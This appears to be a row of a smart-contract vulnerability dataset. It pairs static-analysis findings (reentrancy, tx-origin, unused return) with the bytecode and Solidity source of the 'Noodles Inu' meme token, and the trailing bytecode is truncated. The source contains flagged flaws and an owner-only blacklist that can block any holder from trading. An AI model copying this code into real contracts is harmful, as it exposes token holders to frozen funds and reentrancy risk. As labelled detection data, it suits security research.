f157611ef1611ef8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a4257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206408f0a0be526dd48ca27c9f195090951fea7be7f1af3b759be4730a3cad38d764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,125 |
0x1d30224d0df397618c8102300da4e8b411891a8f
|
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
//Noodles Inu ($NoodlesInu)
//Limit Buy
//Cooldown
//Bot Protect
//Liqudity dev provides and lock
//TG: https://t.me/noodlesinu
//Twitter: https://twitter.com/criptopaulinu
//Website: TBA
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NoodlesInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Noodles Inu";
string private constant _symbol = "NoodlesInu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (2 minutes);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f4e6f6f646c657320496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4e6f6f646c6573496e7500000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b607842611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffff